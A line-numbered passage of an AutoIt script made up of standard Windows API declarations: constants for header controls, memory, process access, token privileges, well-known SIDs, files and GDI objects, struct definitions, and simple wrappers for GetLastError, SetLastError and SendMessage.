  607. Global Const $hdn_itemchanging = $hdn_first - 0
  608. Global Const $hdn_itemclick = $hdn_first - 2
  609. Global Const $hdn_itemdblclick = $hdn_first - 3
  610. Global Const $hdn_track = $hdn_first - 8
  611. Global Const $hdn_begintrackw = $hdn_first - 26
  612. Global Const $hdn_dividerdblclickw = $hdn_first - 25
  613. Global Const $hdn_endtrackw = $hdn_first - 27
  614. Global Const $hdn_getdispinfow = $hdn_first - 29
  615. Global Const $hdn_itemchangedw = $hdn_first - 21
  616. Global Const $hdn_itemchangingw = $hdn_first - 20
  617. Global Const $hdn_itemclickw = $hdn_first - 22
  618. Global Const $hdn_itemdblclickw = $hdn_first - 23
  619. Global Const $hdn_trackw = $hdn_first - 28
  620. Global Const $hds_buttons = 2
  621. Global Const $hds_checkboxes = 1024
  622. Global Const $hds_dragdrop = 64
  623. Global Const $hds_filterbar = 256
  624. Global Const $hds_flat = 512
  625. Global Const $hds_fulldrag = 128
  626. Global Const $hds_hidden = 8
  627. Global Const $hds_horz = 0
  628. Global Const $hds_hottrack = 4
  629. Global Const $hds_nosizing = 2048
  630. Global Const $hds_overflow = 4096
  631. Global Const $hds_default = 70
  632. Global Const $gmem_fixed = 0
  633. Global Const $gmem_moveable = 2
  634. Global Const $gmem_nocompact = 16
  635. Global Const $gmem_nodiscard = 32
  636. Global Const $gmem_zeroinit = 64
  637. Global Const $gmem_modify = 128
  638. Global Const $gmem_discardable = 256
  639. Global Const $gmem_not_banked = 4096
  640. Global Const $gmem_share = 8192
  641. Global Const $gmem_ddeshare = 8192
  642. Global Const $gmem_notify = 16384
  643. Global Const $gmem_lower = 4096
  644. Global Const $gmem_valid_flags = 32626
  645. Global Const $gmem_invalid_handle = 32768
  646. Global Const $gptr = $gmem_fixed + $gmem_zeroinit
  647. Global Const $ghnd = $gmem_moveable + $gmem_zeroinit
  648. Global Const $mem_commit = 4096
  649. Global Const $mem_reserve = 8192
  650. Global Const $mem_top_down = 1048576
  651. Global Const $mem_shared = 134217728
  652. Global Const $page_noaccess = 1
  653. Global Const $page_readonly = 2
  654. Global Const $page_readwrite = 4
  655. Global Const $page_execute = 16
  656. Global Const $page_execute_read = 32
  657. Global Const $page_execute_readwrite = 64
  658. Global Const $page_guard = 256
  659. Global Const $page_nocache = 512
  660. Global Const $mem_decommit = 16384
  661. Global Const $mem_release = 32768
  662. Global Const $tagpoint = "struct;long X;long Y;endstruct"
  663. Global Const $tagrect = "struct;long Left;long Top;long Right;long Bottom;endstruct"
  664. Global Const $tagsize = "struct;long X;long Y;endstruct"
  665. Global Const $tagmargins = "int cxLeftWidth;int cxRightWidth;int cyTopHeight;int cyBottomHeight"
  666. Global Const $tagfiletime = "struct;dword Lo;dword Hi;endstruct"
  667. Global Const $tagsystemtime = "struct;word Year;word Month;word Dow;word Day;word Hour;word Minute;word Second;word MSeconds;endstruct"
  668. Global Const $tagtime_zone_information = "struct;long Bias;wchar StdName[32];word StdDate[8];long StdBias;wchar DayName[32];word DayDate[8];long DayBias;endstruct"
  669. Global Const $tagnmhdr = "struct;hwnd hWndFrom;uint_ptr IDFrom;INT Code;endstruct"
  670. Global Const $tagcomboboxexitem = "uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;int SelectedImage;int OverlayImage;" & "int Indent;lparam Param"
  671. Global Const $tagnmcbedragbegin = $tagnmhdr & ";int ItemID;wchar szText[260]"
  672. Global Const $tagnmcbeendedit = $tagnmhdr & ";bool fChanged;int NewSelection;wchar szText[260];int Why"
  673. Global Const $tagnmcomboboxex = $tagnmhdr & ";uint Mask;int_ptr Item;ptr Text;int TextMax;int Image;" & "int SelectedImage;int OverlayImage;int Indent;lparam Param"
  674. Global Const $tagdtprange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;" & "word MinSecond;word MinMSecond;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;" & "word MaxMinute;word MaxSecond;word MaxMSecond;bool MinValid;bool MaxValid"
  675. Global Const $tagnmdatetimechange = $tagnmhdr & ";dword Flag;" & $tagsystemtime
  676. Global Const $tagnmdatetimeformat = $tagnmhdr & ";ptr Format;" & $tagsystemtime & ";ptr pDisplay;wchar Display[64]"
  677. Global Const $tagnmdatetimeformatquery = $tagnmhdr & ";ptr Format;struct;long SizeX;long SizeY;endstruct"
  678. Global Const $tagnmdatetimekeydown = $tagnmhdr & ";int VirtKey;ptr Format;" & $tagsystemtime
  679. Global Const $tagnmdatetimestring = $tagnmhdr & ";ptr UserString;" & $tagsystemtime & ";dword Flags"
  680. Global Const $tageventlogrecord = "dword Length;dword Reserved;dword RecordNumber;dword TimeGenerated;dword TimeWritten;dword EventID;" & "word EventType;word NumStrings;word EventCategory;word ReservedFlags;dword ClosingRecordNumber;dword StringOffset;" & "dword UserSidLength;dword UserSidOffset;dword DataLength;dword DataOffset"
  681. Global Const $taggdipbitmapdata = "uint Width;uint Height;int Stride;int Format;ptr Scan0;uint_ptr Reserved"
  682. Global Const $taggdipencoderparam = "byte GUID[16];ulong Count;ulong Type;ptr Values"
  683. Global Const $taggdipencoderparams = "uint Count;byte Params[1]"
  684. Global Const $taggdiprectf = "float X;float Y;float Width;float Height"
  685. Global Const $taggdipstartupinput = "uint Version;ptr Callback;bool NoThread;bool NoCodecs"
  686. Global Const $taggdipstartupoutput = "ptr HookProc;ptr UnhookProc"
  687. Global Const $taggdipimagecodecinfo = "byte CLSID[16];byte FormatID[16];ptr CodecName;ptr DllName;ptr FormatDesc;ptr FileExt;" & "ptr MimeType;dword Flags;dword Version;dword SigCount;dword SigSize;ptr SigPattern;ptr SigMask"
  688. Global Const $taggdippencoderparams = "uint Count;byte Params[1]"
  689. Global Const $taghditem = "uint Mask;int XY;ptr Text;handle hBMP;int TextMax;int Fmt;lparam Param;int Image;int Order;uint Type;ptr pFilter;uint State"
  690. Global Const $tagnmhddispinfo = $tagnmhdr & ";int Item;uint Mask;ptr Text;int TextMax;int Image;lparam lParam"
  691. Global Const $tagnmhdfilterbtnclick = $tagnmhdr & ";int Item;" & $tagrect
  692. Global Const $tagnmheader = $tagnmhdr & ";int Item;int Button;ptr pItem"
  693. Global Const $taggetipaddress = "byte Field4;byte Field3;byte Field2;byte Field1"
  694. Global Const $tagnmipaddress = $tagnmhdr & ";int Field;int Value"
  695. Global Const $taglvfindinfo = "struct;uint Flags;ptr Text;lparam Param;" & $tagpoint & ";uint Direction;endstruct"
  696. Global Const $taglvhittestinfo = $tagpoint & ";uint Flags;int Item;int SubItem;int iGroup"
  697. Global Const $taglvitem = "struct;uint Mask;int Item;int SubItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;lparam Param;" & "int Indent;int GroupID;uint Columns;ptr pColumns;ptr piColFmt;int iGroup;endstruct"
  698. Global Const $tagnmlistview = $tagnmhdr & ";int Item;int SubItem;uint NewState;uint OldState;uint Changed;" & "struct;long ActionX;long ActionY;endstruct;lparam Param"
  699. Global Const $tagnmlvcustomdraw = "struct;" & $tagnmhdr & ";dword dwDrawStage;handle hdc;" & $tagrect & ";dword_ptr dwItemSpec;uint uItemState;lparam lItemlParam;endstruct" & ";dword clrText;dword clrTextBk;int iSubItem;dword dwItemType;dword clrFace;int iIconEffect;" & "int iIconPhase;int iPartId;int iStateId;struct;long TextLeft;long TextTop;long TextRight;long TextBottom;endstruct;uint uAlign"
  700. Global Const $tagnmlvdispinfo = $tagnmhdr & ";" & $taglvitem
  701. Global Const $tagnmlvfinditem = $tagnmhdr & ";int Start;" & $taglvfindinfo
  702. Global Const $tagnmlvgetinfotip = $tagnmhdr & ";dword Flags;ptr Text;int TextMax;int Item;int SubItem;lparam lParam"
  703. Global Const $tagnmitemactivate = $tagnmhdr & ";int Index;int SubItem;uint NewState;uint OldState;uint Changed;" & $tagpoint & ";lparam lParam;uint KeyFlags"
  704. Global Const $tagnmlvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  705. Global Const $tagnmlvscroll = $tagnmhdr & ";int DX;int DY"
  706. Global Const $tagmchittestinfo = "uint Size;" & $tagpoint & ";uint Hit;" & $tagsystemtime & ";" & $tagrect & ";int iOffset;int iRow;int iCol"
  707. Global Const $tagmcmonthrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short Span"
  708. Global Const $tagmcrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds;short MinSet;short MaxSet"
  709. Global Const $tagmcselrange = "word MinYear;word MinMonth;word MinDOW;word MinDay;word MinHour;word MinMinute;word MinSecond;" & "word MinMSeconds;word MaxYear;word MaxMonth;word MaxDOW;word MaxDay;word MaxHour;word MaxMinute;word MaxSecond;" & "word MaxMSeconds"
  710. Global Const $tagnmdaystate = $tagnmhdr & ";" & $tagsystemtime & ";int DayState;ptr pDayState"
  711. Global Const $tagnmselchange = $tagnmhdr & ";struct;word BegYear;word BegMonth;word BegDOW;word BegDay;word BegHour;word BegMinute;word BegSecond;word BegMSeconds;endstruct;" & "struct;word EndYear;word EndMonth;word EndDOW;word EndDay;word EndHour;word EndMinute;word EndSecond;word EndMSeconds;endstruct"
  712. Global Const $tagnmobjectnotify = $tagnmhdr & ";int Item;ptr piid;ptr pObject;long Result;dword dwFlags"
  713. Global Const $tagnmtckeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  714. Global Const $tagtvitem = "struct;uint Mask;handle hItem;uint State;uint StateMask;ptr Text;int TextMax;int Image;int SelectedImage;" & "int Children;lparam Param;endstruct"
  715. Global Const $tagtvitemex = "struct;" & $tagtvitem & ";int Integral;uint uStateEx;hwnd hwnd;int iExpandedImage;int iReserved;endstruct"
  716. Global Const $tagnmtreeview = $tagnmhdr & ";uint Action;" & "struct;uint OldMask;handle OldhItem;uint OldState;uint OldStateMask;" & "ptr OldText;int OldTextMax;int OldImage;int OldSelectedImage;int OldChildren;lparam OldParam;endstruct;" & "struct;uint NewMask;handle NewhItem;uint NewState;uint NewStateMask;" & "ptr NewText;int NewTextMax;int NewImage;int NewSelectedImage;int NewChildren;lparam NewParam;endstruct;" & "struct;long PointX;long PointY;endstruct"
  717. Global Const $tagnmtvcustomdraw = "struct;" & $tagnmhdr & ";dword DrawStage;handle HDC;" & $tagrect & ";dword_ptr ItemSpec;uint ItemState;lparam ItemParam;endstruct" & ";dword ClrText;dword ClrTextBk;int Level"
  718. Global Const $tagnmtvdispinfo = $tagnmhdr & ";" & $tagtvitem
  719. Global Const $tagnmtvgetinfotip = $tagnmhdr & ";ptr Text;int TextMax;handle hItem;lparam lParam"
  720. Global Const $tagtvhittestinfo = $tagpoint & ";uint Flags;handle Item"
  721. Global Const $tagnmtvkeydown = "align 1;" & $tagnmhdr & ";word VKey;uint Flags"
  722. Global Const $tagnmmouse = $tagnmhdr & ";dword_ptr ItemSpec;dword_ptr ItemData;" & $tagpoint & ";lparam HitInfo"
  723. Global Const $tagtoken_privileges = "dword Count;align 4;int64 LUID;dword Attributes"
  724. Global Const $tagimageinfo = "handle hBitmap;handle hMask;int Unused1;int Unused2;" & $tagrect
  725. Global Const $tagmenuinfo = "dword Size;INT Mask;dword Style;uint YMax;handle hBack;dword ContextHelpID;ulong_ptr MenuData"
  726. Global Const $tagmenuiteminfo = "uint Size;uint Mask;uint Type;uint State;uint ID;handle SubMenu;handle BmpChecked;handle BmpUnchecked;" & "ulong_ptr ItemData;ptr TypeData;uint CCH;handle BmpItem"
  727. Global Const $tagrebarbandinfo = "uint cbSize;uint fMask;uint fStyle;dword clrFore;dword clrBack;ptr lpText;uint cch;" & "int iImage;hwnd hwndChild;uint cxMinChild;uint cyMinChild;uint cx;handle hbmBack;uint wID;uint cyChild;uint cyMaxChild;" & "uint cyIntegral;uint cxIdeal;lparam lParam;uint cxHeader;" & $tagrect & ";uint uChevronState"
  728. Global Const $tagnmrebarautobreak = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;uint uMsg;uint fStyleCurrent;bool fAutoBreak"
  729. Global Const $tagnmrbautosize = $tagnmhdr & ";bool fChanged;" & "struct;long TargetLeft;long TargetTop;long TargetRight;long TargetBottom;endstruct;" & "struct;long ActualLeft;long ActualTop;long ActualRight;long ActualBottom;endstruct"
  730. Global Const $tagnmrebar = $tagnmhdr & ";dword dwMask;uint uBand;uint fStyle;uint wID;lparam lParam"
  731. Global Const $tagnmrebarchevron = $tagnmhdr & ";uint uBand;uint wID;lparam lParam;" & $tagrect & ";lparam lParamNM"
  732. Global Const $tagnmrebarchildsize = $tagnmhdr & ";uint uBand;uint wID;" & "struct;long CLeft;long CTop;long CRight;long CBottom;endstruct;" & "struct;long BLeft;long BTop;long BRight;long BBottom;endstruct"
  733. Global Const $tagcolorscheme = "dword Size;dword BtnHighlight;dword BtnShadow"
  734. Global Const $tagnmtoolbar = $tagnmhdr & ";int iItem;" & "struct;int iBitmap;int idCommand;byte fsState;byte fsStyle;dword_ptr dwData;int_ptr iString;endstruct" & ";int cchText;ptr pszText;" & $tagrect
  735. Global Const $tagnmtbhotitem = $tagnmhdr & ";int idOld;int idNew;dword dwFlags"
  736. Global Const $tagtbbutton = "int Bitmap;int Command;byte State;byte Style;align;dword_ptr Param;int_ptr String"
  737. Global Const $tagtbbuttoninfo = "uint Size;dword Mask;int Command;int Image;byte State;byte Style;word CX;dword_ptr Param;ptr Text;int TextMax"
  738. Global Const $tagnetresource = "dword Scope;dword Type;dword DisplayType;dword Usage;ptr LocalName;ptr RemoteName;ptr Comment;ptr Provider"
  739. Global Const $tagoverlapped = "ulong_ptr Internal;ulong_ptr InternalHigh;struct;dword Offset;dword OffsetHigh;endstruct;handle hEvent"
  740. Global Const $tagopenfilename = "dword StructSize;hwnd hwndOwner;handle hInstance;ptr lpstrFilter;ptr lpstrCustomFilter;" & "dword nMaxCustFilter;dword nFilterIndex;ptr lpstrFile;dword nMaxFile;ptr lpstrFileTitle;dword nMaxFileTitle;" & "ptr lpstrInitialDir;ptr lpstrTitle;dword Flags;word nFileOffset;word nFileExtension;ptr lpstrDefExt;lparam lCustData;" & "ptr lpfnHook;ptr lpTemplateName;ptr pvReserved;dword dwReserved;dword FlagsEx"
  741. Global Const $tagbitmapinfo = "struct;dword Size;long Width;long Height;word Planes;word BitCount;dword Compression;dword SizeImage;" & "long XPelsPerMeter;long YPelsPerMeter;dword ClrUsed;dword ClrImportant;endstruct;dword RGBQuad"
  742. Global Const $tagblendfunction = "byte Op;byte Flags;byte Alpha;byte Format"
  743. Global Const $tagguid = "ulong Data1;ushort Data2;ushort Data3;byte Data4[8]"
  744. Global Const $tagwindowplacement = "uint length;uint flags;uint showCmd;long ptMinPosition[2];long ptMaxPosition[2];long rcNormalPosition[4]"
  745. Global Const $tagwindowpos = "hwnd hWnd;hwnd InsertAfter;int X;int Y;int CX;int CY;uint Flags"
  746. Global Const $tagscrollinfo = "uint cbSize;uint fMask;int nMin;int nMax;uint nPage;int nPos;int nTrackPos"
  747. Global Const $tagscrollbarinfo = "dword cbSize;" & $tagrect & ";int dxyLineButton;int xyThumbTop;" & "int xyThumbBottom;int reserved;dword rgstate[6]"
  748. Global Const $taglogfont = "long Height;long Width;long Escapement;long Orientation;long Weight;byte Italic;byte Underline;" & "byte Strikeout;byte CharSet;byte OutPrecision;byte ClipPrecision;byte Quality;byte PitchAndFamily;wchar FaceName[32]"
  749. Global Const $tagkbdllhookstruct = "dword vkCode;dword scanCode;dword flags;dword time;ulong_ptr dwExtraInfo"
  750. Global Const $tagprocess_information = "handle hProcess;handle hThread;dword ProcessID;dword ThreadID"
  751. Global Const $tagstartupinfo = "dword Size;ptr Reserved1;ptr Desktop;ptr Title;dword X;dword Y;dword XSize;dword YSize;dword XCountChars;" & "dword YCountChars;dword FillAttribute;dword Flags;word ShowWindow;word Reserved2;ptr Reserved3;handle StdInput;" & "handle StdOutput;handle StdError"
  752. Global Const $tagsecurity_attributes = "dword Length;ptr Descriptor;bool InheritHandle"
  753. Global Const $tagwin32_find_data = "dword dwFileAttributes;dword ftCreationTime[2];dword ftLastAccessTime[2];dword ftLastWriteTime[2];dword nFileSizeHigh;dword nFileSizeLow;dword dwReserved0;dword dwReserved1;wchar cFileName[260];wchar cAlternateFileName[14]"
  754. Global Const $tagtextmetric = "long tmHeight;long tmAscent;long tmDescent;long tmInternalLeading;long tmExternalLeading;" & "long tmAveCharWidth;long tmMaxCharWidth;long tmWeight;long tmOverhang;long tmDigitizedAspectX;long tmDigitizedAspectY;" & "wchar tmFirstChar;wchar tmLastChar;wchar tmDefaultChar;wchar tmBreakChar;byte tmItalic;byte tmUnderlined;byte tmStruckOut;" & "byte tmPitchAndFamily;byte tmCharSet"
  755. Global Const $process_terminate = 1
  756. Global Const $process_create_thread = 2
  757. Global Const $process_set_sessionid = 4
  758. Global Const $process_vm_operation = 8
  759. Global Const $process_vm_read = 16
  760. Global Const $process_vm_write = 32
  761. Global Const $process_dup_handle = 64
  762. Global Const $process_create_process = 128
  763. Global Const $process_set_quota = 256
  764. Global Const $process_set_information = 512
  765. Global Const $process_query_information = 1024
  766. Global Const $process_suspend_resume = 2048
  767. Global Const $process_all_access = 2035711
  768. Global Const $error_no_token = 1008
  769. Global Const $se_assignprimarytoken_name = "SeAssignPrimaryTokenPrivilege"
  770. Global Const $se_audit_name = "SeAuditPrivilege"
  771. Global Const $se_backup_name = "SeBackupPrivilege"
  772. Global Const $se_change_notify_name = "SeChangeNotifyPrivilege"
  773. Global Const $se_create_global_name = "SeCreateGlobalPrivilege"
  774. Global Const $se_create_pagefile_name = "SeCreatePagefilePrivilege"
  775. Global Const $se_create_permanent_name = "SeCreatePermanentPrivilege"
  776. Global Const $se_create_token_name = "SeCreateTokenPrivilege"
  777. Global Const $se_debug_name = "SeDebugPrivilege"
  778. Global Const $se_enable_delegation_name = "SeEnableDelegationPrivilege"
  779. Global Const $se_impersonate_name = "SeImpersonatePrivilege"
  780. Global Const $se_inc_base_priority_name = "SeIncreaseBasePriorityPrivilege"
  781. Global Const $se_increase_quota_name = "SeIncreaseQuotaPrivilege"
  782. Global Const $se_load_driver_name = "SeLoadDriverPrivilege"
  783. Global Const $se_lock_memory_name = "SeLockMemoryPrivilege"
  784. Global Const $se_machine_account_name = "SeMachineAccountPrivilege"
  785. Global Const $se_manage_volume_name = "SeManageVolumePrivilege"
  786. Global Const $se_prof_single_process_name = "SeProfileSingleProcessPrivilege"
  787. Global Const $se_remote_shutdown_name = "SeRemoteShutdownPrivilege"
  788. Global Const $se_restore_name = "SeRestorePrivilege"
  789. Global Const $se_security_name = "SeSecurityPrivilege"
  790. Global Const $se_shutdown_name = "SeShutdownPrivilege"
  791. Global Const $se_sync_agent_name = "SeSyncAgentPrivilege"
  792. Global Const $se_system_environment_name = "SeSystemEnvironmentPrivilege"
  793. Global Const $se_system_profile_name = "SeSystemProfilePrivilege"
  794. Global Const $se_systemtime_name = "SeSystemtimePrivilege"
  795. Global Const $se_take_ownership_name = "SeTakeOwnershipPrivilege"
  796. Global Const $se_tcb_name = "SeTcbPrivilege"
  797. Global Const $se_unsolicited_input_name = "SeUnsolicitedInputPrivilege"
  798. Global Const $se_undock_name = "SeUndockPrivilege"
  799. Global Const $se_privilege_enabled_by_default = 1
  800. Global Const $se_privilege_enabled = 2
  801. Global Const $se_privilege_removed = 4
  802. Global Const $se_privilege_used_for_access = -2147483648
  803. Global Const $se_group_mandatory = 1
  804. Global Const $se_group_enabled_by_default = 2
  805. Global Const $se_group_enabled = 4
  806. Global Const $se_group_owner = 8
  807. Global Const $se_group_use_for_deny_only = 16
  808. Global Const $se_group_integrity = 32
  809. Global Const $se_group_integrity_enabled = 64
  810. Global Const $se_group_resource = 536870912
  811. Global Const $se_group_logon_id = -1073741824
  812. Global Enum $tokenprimary = 1, $tokenimpersonation
  813. Global Enum $securityanonymous = 0, $securityidentification, $securityimpersonation, $securitydelegation
  814. Global Enum $tokenuser = 1, $tokengroups, $tokenprivileges, $tokenowner, $tokenprimarygroup, $tokendefaultdacl, $tokensource, $tokentype, $tokenimpersonationlevel, $tokenstatistics, $tokenrestrictedsids, $tokensessionid, $tokengroupsandprivileges, $tokensessionreference, $tokensandboxinert, $tokenauditpolicy, $tokenorigin, $tokenelevationtype, $tokenlinkedtoken, $tokenelevation, $tokenhasrestrictions, $tokenaccessinformation, $tokenvirtualizationallowed, $tokenvirtualizationenabled, $tokenintegritylevel, $tokenuiaccess, $tokenmandatorypolicy, $tokenlogonsid
  815. Global Const $token_assign_primary = 1
  816. Global Const $token_duplicate = 2
  817. Global Const $token_impersonate = 4
  818. Global Const $token_query = 8
  819. Global Const $token_query_source = 16
  820. Global Const $token_adjust_privileges = 32
  821. Global Const $token_adjust_groups = 64
  822. Global Const $token_adjust_default = 128
  823. Global Const $token_adjust_sessionid = 256
  824. Global Const $token_all_access = 983551
  825. Global Const $token_read = 131080
  826. Global Const $token_write = 131296
  827. Global Const $token_execute = 131072
  828. Global Const $token_has_traverse_privilege = 1
  829. Global Const $token_has_backup_privilege = 2
  830. Global Const $token_has_restore_privilege = 4
  831. Global Const $token_has_admin_group = 8
  832. Global Const $token_is_restricted = 16
  833. Global Const $token_session_not_referenced = 32
  834. Global Const $token_sandbox_inert = 64
  835. Global Const $token_has_impersonate_privilege = 128
  836. Global Const $rights_delete = 65536
  837. Global Const $read_control = 131072
  838. Global Const $write_dac = 262144
  839. Global Const $write_owner = 524288
  840. Global Const $synchronize = 1048576
  841. Global Const $standard_rights_required = 983040
  842. Global Const $standard_rights_read = $read_control
  843. Global Const $standard_rights_write = $read_control
  844. Global Const $standard_rights_execute = $read_control
  845. Global Const $standard_rights_all = 2031616
  846. Global Const $specific_rights_all = 65535
  847. Global Enum $not_used_access = 0, $grant_access, $set_access, $deny_access, $revoke_access, $set_audit_success, $set_audit_failure
  848. Global Enum $trustee_is_unknown = 0, $trustee_is_user, $trustee_is_group, $trustee_is_domain, $trustee_is_alias, $trustee_is_well_known_group, $trustee_is_deleted, $trustee_is_invalid, $trustee_is_computer
  849. Global Const $logon_with_profile = 1
  850. Global Const $logon_netcredentials_only = 2
  851. Global Enum $sidtypeuser = 1, $sidtypegroup, $sidtypedomain, $sidtypealias, $sidtypewellknowngroup, $sidtypedeletedaccount, $sidtypeinvalid, $sidtypeunknown, $sidtypecomputer, $sidtypelabel
  852. Global Const $sid_administrators = "S-1-5-32-544"
  853. Global Const $sid_users = "S-1-5-32-545"
  854. Global Const $sid_guests = "S-1-5-32-546"
  855. Global Const $sid_account_operators = "S-1-5-32-548"
  856. Global Const $sid_server_operators = "S-1-5-32-549"
  857. Global Const $sid_print_operators = "S-1-5-32-550"
  858. Global Const $sid_backup_operators = "S-1-5-32-551"
  859. Global Const $sid_replicator = "S-1-5-32-552"
  860. Global Const $sid_owner = "S-1-3-0"
  861. Global Const $sid_everyone = "S-1-1-0"
  862. Global Const $sid_network = "S-1-5-2"
  863. Global Const $sid_interactive = "S-1-5-4"
  864. Global Const $sid_system = "S-1-5-18"
  865. Global Const $sid_authenticated_users = "S-1-5-11"
  866. Global Const $sid_schannel_authentication = "S-1-5-64-14"
  867. Global Const $sid_digest_authentication = "S-1-5-64-21"
  868. Global Const $sid_nt_service = "S-1-5-80"
  869. Global Const $sid_untrusted_mandatory_level = "S-1-16-0"
  870. Global Const $sid_low_mandatory_level = "S-1-16-4096"
  871. Global Const $sid_medium_mandatory_level = "S-1-16-8192"
  872. Global Const $sid_medium_plus_mandatory_level = "S-1-16-8448"
  873. Global Const $sid_high_mandatory_level = "S-1-16-12288"
  874. Global Const $sid_system_mandatory_level = "S-1-16-16384"
  875. Global Const $sid_protected_process_mandatory_level = "S-1-16-20480"
  876. Global Const $sid_secure_process_mandatory_level = "S-1-16-28672"
  877. Global Const $sid_all_services = "S-1-5-80-0"
  878.  
  879. Func _winapi_getlasterror($curerr = @error, $curext = @extended)
  880.     Local $aresult = DllCall("kernel32.dll", "dword", "GetLastError")
  881.     Return SetError($curerr, $curext, $aresult[0])
  882. EndFunc
  883.  
  884. Func _winapi_setlasterror($ierrcode, $curerr = @error, $curext = @extended)
  885.     DllCall("kernel32.dll", "none", "SetLastError", "dword", $ierrcode)
  886.     Return SetError($curerr, $curext)
  887. EndFunc
  888.  
  889. Global Const $fc_nooverwrite = 0
  890. Global Const $fc_overwrite = 1
  891. Global Const $ft_modified = 0
  892. Global Const $ft_created = 1
  893. Global Const $ft_accessed = 2
  894. Global Const $fo_read = 0
  895. Global Const $fo_append = 1
  896. Global Const $fo_overwrite = 2
  897. Global Const $fo_binary = 16
  898. Global Const $fo_unicode = 32
  899. Global Const $fo_utf16_le = 32
  900. Global Const $fo_utf16_be = 64
  901. Global Const $fo_utf8 = 128
  902. Global Const $fo_utf8_nobom = 256
  903. Global Const $eof = -1
  904. Global Const $fd_filemustexist = 1
  905. Global Const $fd_pathmustexist = 2
  906. Global Const $fd_multiselect = 4
  907. Global Const $fd_promptcreatenew = 8
  908. Global Const $fd_promptoverwrite = 16
  909. Global Const $create_new = 1
  910. Global Const $create_always = 2
  911. Global Const $open_existing = 3
  912. Global Const $open_always = 4
  913. Global Const $truncate_existing = 5
  914. Global Const $invalid_set_file_pointer = -1
  915. Global Const $file_begin = 0
  916. Global Const $file_current = 1
  917. Global Const $file_end = 2
  918. Global Const $file_attribute_readonly = 1
  919. Global Const $file_attribute_hidden = 2
  920. Global Const $file_attribute_system = 4
  921. Global Const $file_attribute_directory = 16
  922. Global Const $file_attribute_archive = 32
  923. Global Const $file_attribute_device = 64
  924. Global Const $file_attribute_normal = 128
  925. Global Const $file_attribute_temporary = 256
  926. Global Const $file_attribute_sparse_file = 512
  927. Global Const $file_attribute_reparse_point = 1024
  928. Global Const $file_attribute_compressed = 2048
  929. Global Const $file_attribute_offline = 4096
  930. Global Const $file_attribute_not_content_indexed = 8192
  931. Global Const $file_attribute_encrypted = 16384
  932. Global Const $file_share_read = 1
  933. Global Const $file_share_write = 2
  934. Global Const $file_share_delete = 4
  935. Global Const $generic_all = 268435456
  936. Global Const $generic_execute = 536870912
  937. Global Const $generic_write = 1073741824
  938. Global Const $generic_read = -2147483648
  939.  
  940. Func _sendmessage($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  941.     Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageW", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  942.     If @error Then Return SetError(@error, @extended, "")
  943.     If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  944.     Return $aresult
  945. EndFunc
  946.  
  947. Func _sendmessagea($hwnd, $imsg, $wparam = 0, $lparam = 0, $ireturn = 0, $wparamtype = "wparam", $lparamtype = "lparam", $sreturntype = "lresult")
  948.     Local $aresult = DllCall("user32.dll", $sreturntype, "SendMessageA", "hwnd", $hwnd, "uint", $imsg, $wparamtype, $wparam, $lparamtype, $lparam)
  949.     If @error Then Return SetError(@error, @extended, "")
  950.     If $ireturn >= 0 AND $ireturn <= 4 Then Return $aresult[$ireturn]
  951.     Return $aresult
  952. EndFunc
  953.  
  954. Global $__gainprocess_winapi[64][2] = [[0, 0]]
  955. Global $__gawinlist_winapi[64][2] = [[0, 0]]
  956. Global Const $__winapiconstant_wm_setfont = 48
  957. Global Const $__winapiconstant_fw_normal = 400
  958. Global Const $__winapiconstant_default_charset = 1
  959. Global Const $__winapiconstant_out_default_precis = 0
  960. Global Const $__winapiconstant_clip_default_precis = 0
  961. Global Const $__winapiconstant_default_quality = 0
  962. Global Const $__winapiconstant_format_message_allocate_buffer = 256
  963. Global Const $__winapiconstant_format_message_from_system = 4096
  964. Global Const $__winapiconstant_logpixelsx = 88
  965. Global Const $__winapiconstant_logpixelsy = 90
  966. Global Const $hgdi_error = Ptr(-1)
  967. Global Const $invalid_handle_value = Ptr(-1)
  968. Global Const $clr_invalid = -1
  969. Global Const $__winapiconstant_flashw_caption = 1
  970. Global Const $__winapiconstant_flashw_tray = 2
  971. Global Const $__winapiconstant_flashw_timer = 4
  972. Global Const $__winapiconstant_flashw_timernofg = 12
  973. Global Const $__winapiconstant_gw_hwndnext = 2
  974. Global Const $__winapiconstant_gw_child = 5
  975. Global Const $__winapiconstant_di_mask = 1
  976. Global Const $__winapiconstant_di_image = 2
  977. Global Const $__winapiconstant_di_normal = 3
  978. Global Const $__winapiconstant_di_compat = 4
  979. Global Const $__winapiconstant_di_defaultsize = 8
  980. Global Const $__winapiconstant_di_nomirror = 16
  981. Global Const $__winapiconstant_display_device_attached_to_desktop = 1
  982. Global Const $__winapiconstant_display_device_primary_device = 4
  983. Global Const $__winapiconstant_display_device_mirroring_driver = 8
  984. Global Const $__winapiconstant_display_device_vga_compatible = 16
  985. Global Const $__winapiconstant_display_device_removable = 32
  986. Global Const $__winapiconstant_display_device_modespruned = 134217728
  987. Global Const $null_brush = 5
  988. Global Const $null_pen = 8
  989. Global Const $black_brush = 4
  990. Global Const $dkgray_brush = 3
  991. Global Const $dc_brush = 18
  992. Global Const $gray_brush = 2
  993. Global Const $hollow_brush = $null_brush
  994. Global Const $ltgray_brush = 1
  995. Global Const $white_brush = 0
  996. Global Const $black_pen = 7
  997. Global Const $dc_pen = 19
  998. Global Const $white_pen = 6
  999. Global Const $ansi_fixed_font = 11
  1000. Global Const $ansi_var_font = 12
  1001. Global Const $device_default_font = 14
